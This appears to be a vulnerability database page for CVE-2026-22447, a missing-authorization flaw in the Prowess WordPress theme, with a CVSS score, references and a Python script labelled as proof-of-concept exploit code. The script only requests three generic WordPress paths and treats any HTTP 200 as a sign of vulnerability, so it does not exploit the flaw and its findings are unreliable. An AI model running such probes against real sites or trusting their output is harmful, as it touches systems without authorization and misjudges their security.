CVE-2026-22447

Description

Missing Authorization vulnerability in Select-Themes Prowess prowess allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Prowess: from n/a through <= 1.8.1.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Prowess Theme <= 1.8.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-22447 PoC - Prowess Theme Broken Access Control
# Affected: Prowess Theme <= 1.8.1

import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com'

# List of potentially vulnerable endpoints (example paths)
endpoints = [
    '/wp-admin/admin-ajax.php',
    '/wp-json/wp/v2/users',
    '/wp-content/themes/prowess/includes/',
]

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
    'Content-Type': 'application/x-www-form-urlencoded',
}

print(f'[*] Testing CVE-2026-22447 on {target}')
print(f'[*] Target: Prowess Theme <= 1.8.1 - Missing Authorization')

for endpoint in endpoints:
    url = target + endpoint
    try:
        response = requests.get(url, headers=headers, timeout=10, verify=False)
        print(f'[+] Endpoint: {endpoint} - Status: {response.status_code}')
        if response.status_code == 200:
            print(f'    [!] Potentially vulnerable - Unauthorized access possible')
    except requests.exceptions.RequestException as e:
        print(f'[-] Error testing {endpoint}: {e}')

print('[*] Note: Specific PoC requires enumeration of vulnerable functions in the theme.')
print('[*] Recommended: Check theme source code for missing permission_callback or current_user checks.')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22447
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22447
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22447/
[4] VulDB https://vuldb.com/cve/CVE-2026-22447
[5] https://patchstack.com/database/Wordpress/Theme/prowess/vulnerability/wordpress-prowess-theme-1-8-1-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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